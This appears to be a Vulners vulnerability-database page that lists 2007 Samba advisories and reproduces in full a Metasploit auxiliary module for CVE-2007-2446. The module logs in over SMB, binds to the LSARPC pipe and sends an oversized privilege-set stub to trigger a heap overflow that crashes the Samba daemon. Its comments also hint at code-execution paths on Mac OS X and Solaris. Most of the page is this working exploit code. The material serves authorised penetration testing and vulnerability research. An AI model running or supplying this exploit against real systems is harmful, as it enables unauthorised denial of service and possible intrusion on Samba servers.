| Reporter | Title | Published | Views | Family All 166 |
|---|---|---|---|---|
| samba -- multiple vulnerabilities | 14 May 200700:00 | – | freebsd | |
| Samba < 3.0.25 NDR MS-RPC Request Heap-Based Overflow | 11 May 200700:00 | – | nessus | |
| Samba < 3.0.25 Multiple Vulnerabilities | 16 May 200700:00 | – | nessus | |
| CentOS 3 / 4 / 5 : samba (CESA-2007:0354) | 16 May 200700:00 | – | nessus | |
| Debian DSA-1291-1 : samba - several vulnerabilities | 16 May 200700:00 | – | nessus | |
| Fedora Core 5 : samba-3.0.24-5.fc5 (2007-506) | 16 May 200700:00 | – | nessus | |
| Fedora Core 6 : samba-3.0.24-5.fc6 (2007-507) | 16 May 200700:00 | – | nessus | |
| FreeBSD : samba -- multiple vulnerabilities (3546a833-03ea-11dc-a51d-0019b95d4f14) | 20 May 200700:00 | – | nessus | |
| GLSA-200705-15 : Samba: Multiple vulnerabilities | 16 May 200700:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2007-007) | 2 Aug 200700:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_privilege_set Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
]
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
])
end
def run
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+)
# Mac OS X: PC control via memcpy to stack ptr
# Solaris: PC control via memcpy to stack ptr
stub = lsa_open_policy(dcerpc)
stub << NDR.long(1)
stub << NDR.long(0xffffffff)
stub << NDR.long(0x100)
stub << "X" * 0x100
print_status("Calling the vulnerable function...")
begin
# LsarAddPrivilegesToAccount
dcerpc.call(0x13, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_good('Server did not respond, this is expected')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
raise e
end
end
disconnect
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation